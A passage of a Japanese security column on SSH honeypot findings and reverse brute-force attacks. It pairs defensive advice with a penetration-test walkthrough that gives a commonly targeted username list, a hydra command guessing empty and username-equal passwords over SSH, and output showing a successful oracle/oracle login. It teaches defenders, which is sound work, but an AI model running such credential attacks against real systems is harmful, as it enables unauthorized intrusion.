検索
連載

リアリティはないけど、脅威は確かにいるよセキュリティ・ダークナイト(5)(4/5 ページ)

ちょっと遅れてやってきた夏休みの宿題は、ハニーポットを用いた侵入手法の観察日記。狙われやすいパスワードが明らかに!(編集部)

Share
Tweet
LINE
Hatena

もう1つのブルートフォース

 ここまで、世間一般でいわれるブルートフォースについて解説してきた。おそらく多くの方は「パスワードを総当りで試していく攻撃」という攻撃手法のことをブルートフォース、もしくは辞書攻撃であるという認識を持っているのではないだろうか。

 しかし、ブルートフォースのパターンはそれだけではない。中にはパスワードを固定し、つまり通常のブルートフォースとは逆の発想で、弱いパスワードを設定しているユーザー名を推測して見つけ出す「リバースブルートフォース」という手法も存在する。

 筆者の設置した「Kojoney」では、以下のようなリバースブルートフォースによるログイン試行を観測したことがあった。

ID = root / PASSWORD = password 
ID = admin / PASSWORD = password 
ID = test / PASSWORD = password 
ID = oracle / PASSWORD = password 
ID = guest / PASSWORD = password

 SSHから少し話がそれるが、とあるシステム管理をしている知人から聞いた話によると、オンラインバンキングのようにログイン失敗回数が限られており、一定回数以上ログインに失敗するとロックがかかるような仕組みのサイトに対して、リバースブルートフォースが用いられることも多いそうだ。

 リバースブルートフォースでは、パスワードではなくユーザー名を辞書によって変動させ、ログイン試行を行う。つまり、一般的にシステム内に存在しそうな「root」や「admin」「oracle」といったユーザー以外も狙われる場合があるという認識を持つ必要がある。

 まれに「まさか、この広大なインターネットの中から自分のシステムが狙われることはないだろう」という認識を持っている方もいるが、そうした認識は捨てていただきたい。侵入を行おうとする者の発想とは、「この広大なインターネットだ。ヘボなパスワードを設定しているユーザーはごまんといるだろう」というものなのだ。

 独自ドメインも持たず、Webサービスもメールサービスも提供していない筆者のサーバにさえ、毎日のように侵入を試みたアタックがあるのである。これこそ、こうした侵入者の考えを裏付ける十分な証拠ではないだろうか。

侵入への対策は根本から

 ここで、SSHへの侵入の試みへの対策を簡単にいくつか紹介しよう。

運用上必要な公開範囲を再考する

 まず、そもそもそのサービスををインターネットに公開する必要があるかどうか、その必要性から考えるべきだろう。また、公開する必要があるならば、ソースIPアドレスによるアクセス制限を行うことも検討してほしい。

標準のポート(TCP/22)を利用しない

 毎日のようにログイン試行がやってきていたSSHのポート番号を「22022」に変更し、1カ月間放置するという実験を行ったことがある。その結果、ログイン試行回数はゼロであった。これにより、狙われる確率を激減させることが可能であるといえる。

そもそもパスワードによる認証を行わない

 パスワードではなく、公開鍵を用いた認証を採用する方法だ。SSHサーバ上で秘密鍵と公開鍵を生成し、秘密鍵をクライアントとなるマシンにコピーして登録し、それ以後は、その鍵を利用して認証を行うという設定にする。事前に鍵の交換や設定変更が必要となるため、少々ハードルが高いかもしれないが、パスワードアタックに対しては効果てきめんである。SSHサービスが稼働しているサーバを運用しているならば、ぜひ利用していただきたい(インターネット上に多くの情報が掲載されているため、ここでは詳細を控える)。

【注】
パスワード認証を禁止する場合、「UsePAM」を有効にしているシステムでは、「PasswordAuthentication」を無効にしていても、「ChallengeResponseAuthentication」も併せて無効にする必要がある。

ペネトレーションテストの現場に見る次の「現実」

 ペネトレーションテストの現場でも、インターネット上で起きている侵入の試行と同じことが行われている。

 対象に関する情報をある程度いただいた状態で行う検査もあるが、ペネトレーションテストのほとんどは、事前情報はIPアドレスやホスト名といった限られたもののみといったブラックボックス状態で検査を行う。それでも何かしらの方法によって、検査対象からその内部に存在するユーザー名を把握できる場合もあるが、そうもいかない場合も多い。

 そのような場合には、実際の攻撃者と同じようにして、システム内に存在するであろうユーザー名による侵入を試みる。

 以下に、実際の検査でたびたび実施した侵入の流れを紹介しよう。検査対象は複数台であった(ここでは3台のホストA、B、Cとする)。それぞれのホストのポートスキャン結果は以下の通りだ。

Interesting ports on AAA.AAA.AAA.AAA: 
Not shown: 65532 closed ports 
PORT          STATE          SERVICE 
22/tcp            open                  ssh 
111/tcp          open             rpcbind 
5432/tcp        open         postgresql
リスト8-1 ホストAのポートスキャン結果
Interesting ports on BBB.BBB.BBB.BBB: 
Not shown: 65532 closed ports 
PORT          STATE          SERVICE 
22/tcp            open                  ssh 
111/tcp          open             rpcbind 
1521/tcp         open              oracle
リスト8-2 ホストBのポートスキャン結果
Interesting ports on CCC.CCC.CCC.CCC: 
Not shown: 65532 closed ports 
PORT          STATE          SERVICE 
22/tcp            open                  ssh 
111/tcp          open             rpcbind 
3306/tcp         open               mysql
リスト8-3 ホストCのポートスキャン結果

 ここまでお読みいただいたならば、上記の結果から、次に何をすべきかおそらく察しが付いているだろう。そう、存在しそうなユーザー辞書を利用したログイン試行をtcp/22に仕掛けるのである。

 作成した辞書は下記の10ユーザーだ。これは、筆者のSSHハニーポットにおける「狙われたユーザー TOP10」である。

root

test

admin

oracle

guest

user

mysql

postgres

ftp

webmaster


 上記の内容を辞書ファイル「dict01」として設定し、下記のようにオンラインパスワードクラッカー「hydra」を実行する。

hydra -L dict01 -e ns IP.IP.IP.IP ssh2

 意味は、「dict」に記述されているユーザー名に対して、空文字のパスワードと、ユーザー名と同じ文字列をパスワードにしたパターンで、指定したIPアドレスのssh(tcp/22)に対してログインを試みるというものである。

 結果は下記の通りである。

Hydra v5.4 (c) 2006 by van Hauser / THC - use allowed only for legal purposes. 
Hydra (http://www.thc.org) starting at 2010-08-22 00:26:07 
[DATA] 1 tasks, 1 servers, 20 login tries (l:10/p:2), ~20 tries per task 
[DATA] attacking service ssh2 on port 22 
[STATUS] 20.00 tries/min, 20 tries in 00:01h, 0 todo in 00:01h 
[STATUS] attack finished for AAA.AAA.AAA.AAA (waiting for childs to finish) 
リスト9-1 ホストAのログイン試行結果
Hydra v5.4 (c) 2006 by van Hauser / THC - use allowed only for legal purposes. 
Hydra (http://www.thc.org) starting at 2010-08-22 00:29:02 
[DATA] 1 tasks, 1 servers, 20 login tries (l:10/p:2), ~20 tries per task 
[DATA] attacking service ssh2 on port 22 
[22][ssh2] host: BBB.BBB.BBB.BBB   login: oracle   password: oracle 
[STATUS] 20.00 tries/min, 20 tries in 00:01h, 0 todo in 00:01h 
[STATUS] attack finished for BBB.BBB.BBB.BBB (waiting for childs to finish) 
リスト9-2 ホストBのログイン試行結果
Hydra v5.4 (c) 2006 by van Hauser / THC - use allowed only for legal purposes. 
Hydra (http://www.thc.org) starting at 2010-08-22 00:36:02 
[DATA] 1 tasks, 1 servers, 20 login tries (l:10/p:2), ~20 tries per task 
[DATA] attacking service ssh2 on port 22 
[STATUS] 20.00 tries/min, 20 tries in 00:01h, 0 todo in 00:01h 
[STATUS] attack finished for CCC.CCC.CCC.CCC (waiting for childs to finish) 
リスト9-3 ホストCのログイン試行結果

 上記結果から、Oracleが稼働しているホストBに、「ユーザー名:oracle、パスワード:oracle」でログインできることが分かる。ポートの開閉情報からユーザー名を推測し、侵入成功につながる典型的な例である。「こんな簡単に?」と思う方もいるかもしれないが、検査の現場では日常茶飯事であり、いわば、ペネトレーションテスターの常套手段なのである。

Copyright © ITmedia, Inc. All Rights Reserved.

Security & Trust 記事ランキング

  1. 「生成AIのサイバー攻撃への悪用」は増加する? 徳丸浩氏が予測する2025年のセキュリティ
  2. AWS、組織のセキュリティインシデント対応を支援する「AWS Security Incident Response」を発表 アラートに圧倒されるセキュリティチームをどう支援?
  3. 商用国家安全保障アルゴリズム(CNSA)の期限となる2030年までに暗号化/キー管理サービス市場が60億ドルに達するとABI Researchが予測 急成長の要因とは?
  4. ChatGPTやClaudeのAPIアクセスをかたってマルウェアを配布するPython用パッケージ確認 Kasperskyが注意喚起
  5. Google、オープンソースのセキュリティパッチ検証ツール「Vanir」を公開 多種多様なAndroidデバイスの脆弱性対応を支援するアプローチとは
  6. 高度なAIでAIをテスト OpenAIが実践するAIモデルのレッドチーム演習とは
  7. 「このままゼロトラストへ進んでいいの?」と迷う企業やこれから入門する企業も必見、ゼロトラストの本質、始め方/進め方が分かる無料の電子書籍
  8. 「SQLite」のゼロデイ脆弱性、GoogleのAIエージェントが見つける AIは脆弱性調査の課題をどう解決したのか?
  9. 従業員は「最新のサイバー脅威との戦い」を強いられている セキュリティ教育に不満を持つ理由の1位は?
  10. 堅調なID管理や認証、脅威インテリジェンスなどを抑え、2024年上半期で最も成長したセキュリティ分野は?
ページトップに戻る